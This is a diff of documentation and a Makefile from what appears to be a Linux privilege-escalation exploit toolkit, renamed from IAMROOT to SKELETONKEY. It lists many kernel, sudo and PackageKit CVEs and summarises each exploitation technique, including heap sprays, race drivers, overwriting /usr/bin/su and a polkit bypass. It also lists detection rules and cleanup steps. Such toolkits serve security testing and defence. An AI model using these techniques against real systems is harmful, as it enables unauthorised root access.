| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
|
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
|
||||||
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
|
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
|
||||||
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
|
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
|
||||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
|
||||||
|
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||||
|
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||||
|
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
||||||
|
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
|
||||||
|
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
|
||||||
|
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
|
||||||
|
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
|
||||||
|
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||||
|
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||||
|
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||||
|
|
||||||
## Operations supported per module
|
## Operations supported per module
|
||||||
|
|
||||||
@@ -78,6 +119,17 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
|||||||
| af_packet2 | ✓ | ✓ (primitive) | — (upgrade kernel) | — | ✓ (auditd, shared key) |
|
| af_packet2 | ✓ | ✓ (primitive) | — (upgrade kernel) | — | ✓ (auditd, shared key) |
|
||||||
| fuse_legacy | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
| fuse_legacy | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||||
| stackrot | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
| stackrot | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||||
|
| nft_set_uaf | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||||
|
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||||
|
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||||
|
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||||
|
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
|
||||||
|
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
|
||||||
|
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
|
||||||
|
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||||
|
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
|
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
|
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||||
|
|
||||||
## Pipeline for additions
|
## Pipeline for additions
|
||||||
|
|
||||||
@@ -100,7 +152,7 @@ the relevant distro drops out of the "WORKING" list for that module.
|
|||||||
## Why we exclude some things
|
## Why we exclude some things
|
||||||
|
|
||||||
- **0-days the maintainer found themselves**: those go through
|
- **0-days the maintainer found themselves**: those go through
|
||||||
responsible disclosure first, then enter IAMROOT after upstream patch
|
responsible disclosure first, then enter SKELETONKEY after upstream patch
|
||||||
- **kCTF VRP submissions in flight**: same as above; disclosure
|
- **kCTF VRP submissions in flight**: same as above; disclosure
|
||||||
before bundling
|
before bundling
|
||||||
- **Hardware-specific side channels** (Spectre/Meltdown variants):
|
- **Hardware-specific side channels** (Spectre/Meltdown variants):
|
||||||
|
|||||||
@@ -1,15 +1,15 @@
|
|||||||
# IAMROOT — top-level Makefile (Phase 1)
|
# SKELETONKEY — top-level Makefile (Phase 1)
|
||||||
#
|
#
|
||||||
# Builds one binary `iamroot` linked from:
|
# Builds one binary `skeletonkey` linked from:
|
||||||
# - core/ module interface + registry
|
# - core/ module interface + registry
|
||||||
# - modules/<f>/ one family per subdir, contributes objects to the
|
# - modules/<f>/ one family per subdir, contributes objects to the
|
||||||
# final binary
|
# final binary
|
||||||
# - iamroot.c top-level dispatcher
|
# - skeletonkey.c top-level dispatcher
|
||||||
#
|
#
|
||||||
# Each family is currently flat (Phase 1 keeps copy_fail_family's
|
# Each family is currently flat (Phase 1 keeps copy_fail_family's
|
||||||
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
|
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
|
||||||
# Future families register the same way: add their register_* call to
|
# Future families register the same way: add their register_* call to
|
||||||
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
|
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
|
||||||
|
|
||||||
CC ?= gcc
|
CC ?= gcc
|
||||||
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||||
@@ -17,106 +17,199 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
|||||||
LDFLAGS ?=
|
LDFLAGS ?=
|
||||||
|
|
||||||
BUILD := build
|
BUILD := build
|
||||||
BIN := iamroot
|
BIN := skeletonkey
|
||||||
|
|
||||||
# core/
|
# core/
|
||||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
|
||||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||||
|
|
||||||
# Family: copy_fail_family
|
# Family: copy_fail_family
|
||||||
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
|
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||||
CFF_DIR := modules/copy_fail_family
|
CFF_DIR := modules/copy_fail_family
|
||||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
|
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
|
||||||
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
|
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
|
||||||
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
|
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
|
||||||
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
|
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
|
||||||
|
|
||||||
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
|
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
|
||||||
DP_DIR := modules/dirty_pipe_cve_2022_0847
|
DP_DIR := modules/dirty_pipe_cve_2022_0847
|
||||||
DP_SRCS := $(DP_DIR)/iamroot_modules.c
|
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
|
||||||
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
|
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
|
||||||
|
|
||||||
# Family: entrybleed (single-CVE family, x86_64 only)
|
# Family: entrybleed (single-CVE family, x86_64 only)
|
||||||
EB_DIR := modules/entrybleed_cve_2023_0458
|
EB_DIR := modules/entrybleed_cve_2023_0458
|
||||||
EB_SRCS := $(EB_DIR)/iamroot_modules.c
|
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
|
||||||
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
|
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
|
||||||
|
|
||||||
# Family: pwnkit (userspace polkit bug, not kernel)
|
# Family: pwnkit (userspace polkit bug, not kernel)
|
||||||
PK_DIR := modules/pwnkit_cve_2021_4034
|
PK_DIR := modules/pwnkit_cve_2021_4034
|
||||||
PK_SRCS := $(PK_DIR)/iamroot_modules.c
|
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
|
||||||
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
|
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
|
||||||
|
|
||||||
# Family: nf_tables (CVE-2024-1086)
|
# Family: nf_tables (CVE-2024-1086)
|
||||||
NFT_DIR := modules/nf_tables_cve_2024_1086
|
NFT_DIR := modules/nf_tables_cve_2024_1086
|
||||||
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
|
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
|
||||||
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
|
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
|
||||||
|
|
||||||
# Family: overlayfs (CVE-2021-3493)
|
# Family: overlayfs (CVE-2021-3493)
|
||||||
OVL_DIR := modules/overlayfs_cve_2021_3493
|
OVL_DIR := modules/overlayfs_cve_2021_3493
|
||||||
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
|
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
|
||||||
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
|
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
|
||||||
|
|
||||||
# Family: cls_route4 (CVE-2022-2588)
|
# Family: cls_route4 (CVE-2022-2588)
|
||||||
CR4_DIR := modules/cls_route4_cve_2022_2588
|
CR4_DIR := modules/cls_route4_cve_2022_2588
|
||||||
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
|
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
|
||||||
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
|
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
|
||||||
|
|
||||||
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
|
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
|
||||||
DCOW_DIR := modules/dirty_cow_cve_2016_5195
|
DCOW_DIR := modules/dirty_cow_cve_2016_5195
|
||||||
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
|
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
|
||||||
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
|
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
|
||||||
|
|
||||||
# Family: ptrace_traceme (CVE-2019-13272)
|
# Family: ptrace_traceme (CVE-2019-13272)
|
||||||
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
|
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
|
||||||
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
|
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
|
||||||
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
|
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
|
||||||
|
|
||||||
# Family: netfilter_xtcompat (CVE-2021-22555)
|
# Family: netfilter_xtcompat (CVE-2021-22555)
|
||||||
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
|
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
|
||||||
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
|
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
|
||||||
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
|
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
|
||||||
|
|
||||||
# Family: af_packet (CVE-2017-7308)
|
# Family: af_packet (CVE-2017-7308)
|
||||||
AFP_DIR := modules/af_packet_cve_2017_7308
|
AFP_DIR := modules/af_packet_cve_2017_7308
|
||||||
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
|
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
|
||||||
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
|
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
|
||||||
|
|
||||||
# Family: fuse_legacy (CVE-2022-0185)
|
# Family: fuse_legacy (CVE-2022-0185)
|
||||||
FUL_DIR := modules/fuse_legacy_cve_2022_0185
|
FUL_DIR := modules/fuse_legacy_cve_2022_0185
|
||||||
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
|
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
|
||||||
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
|
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
|
||||||
|
|
||||||
# Family: stackrot (CVE-2023-3269)
|
# Family: stackrot (CVE-2023-3269)
|
||||||
STR_DIR := modules/stackrot_cve_2023_3269
|
STR_DIR := modules/stackrot_cve_2023_3269
|
||||||
STR_SRCS := $(STR_DIR)/iamroot_modules.c
|
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
|
||||||
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
|
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
|
||||||
|
|
||||||
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
|
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
|
||||||
AFP2_DIR := modules/af_packet2_cve_2020_14386
|
AFP2_DIR := modules/af_packet2_cve_2020_14386
|
||||||
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
|
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
|
||||||
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
|
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
|
||||||
|
|
||||||
# Family: cgroup_release_agent (CVE-2022-0492)
|
# Family: cgroup_release_agent (CVE-2022-0492)
|
||||||
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
||||||
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
|
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||||
|
|
||||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
||||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||||
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
|
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||||
|
|
||||||
|
# Family: nft_set_uaf (CVE-2023-32233)
|
||||||
|
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||||
|
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||||
|
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
|
||||||
|
|
||||||
|
# Family: af_unix_gc (CVE-2023-4622)
|
||||||
|
AUG_DIR := modules/af_unix_gc_cve_2023_4622
|
||||||
|
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
|
||||||
|
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
|
||||||
|
|
||||||
|
# Family: nft_fwd_dup (CVE-2022-25636)
|
||||||
|
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
|
||||||
|
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
|
||||||
|
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
|
||||||
|
|
||||||
|
# Family: nft_payload (CVE-2023-0179)
|
||||||
|
NPL_DIR := modules/nft_payload_cve_2023_0179
|
||||||
|
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
|
||||||
|
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
||||||
|
|
||||||
|
SAM_DIR := modules/sudo_samedit_cve_2021_3156
|
||||||
|
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
|
||||||
|
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
|
||||||
|
|
||||||
|
SEQ_DIR := modules/sequoia_cve_2021_33909
|
||||||
|
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
|
||||||
|
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
|
||||||
|
|
||||||
|
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
|
||||||
|
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
|
||||||
|
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
|
||||||
|
|
||||||
|
VMW_DIR := modules/vmwgfx_cve_2023_2008
|
||||||
|
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||||
|
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||||
|
|
||||||
|
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||||
|
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||||
|
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||||
|
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||||
|
|
||||||
|
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||||
|
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||||
|
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||||
|
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||||
|
|
||||||
|
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
|
||||||
|
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
|
||||||
|
# When absent (e.g. no libglib2.0-dev on the build host), the module
|
||||||
|
# compiles as a stub that returns PRECOND_FAIL with a hint to install
|
||||||
|
# the dev package and rebuild.
|
||||||
|
P2TR_DIR := modules/pack2theroot_cve_2026_41651
|
||||||
|
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
|
||||||
|
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
|
||||||
|
|
||||||
|
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
|
||||||
|
ifeq ($(P2TR_GIO_OK),1)
|
||||||
|
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
|
||||||
|
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
|
||||||
|
else
|
||||||
|
P2TR_CFLAGS :=
|
||||||
|
P2TR_LIBS :=
|
||||||
|
endif
|
||||||
|
|
||||||
|
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
|
||||||
|
# paths). Target-specific vars are scoped to this object's recipe.
|
||||||
|
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||||
|
|
||||||
# Top-level dispatcher
|
# Top-level dispatcher
|
||||||
TOP_OBJ := $(BUILD)/iamroot.o
|
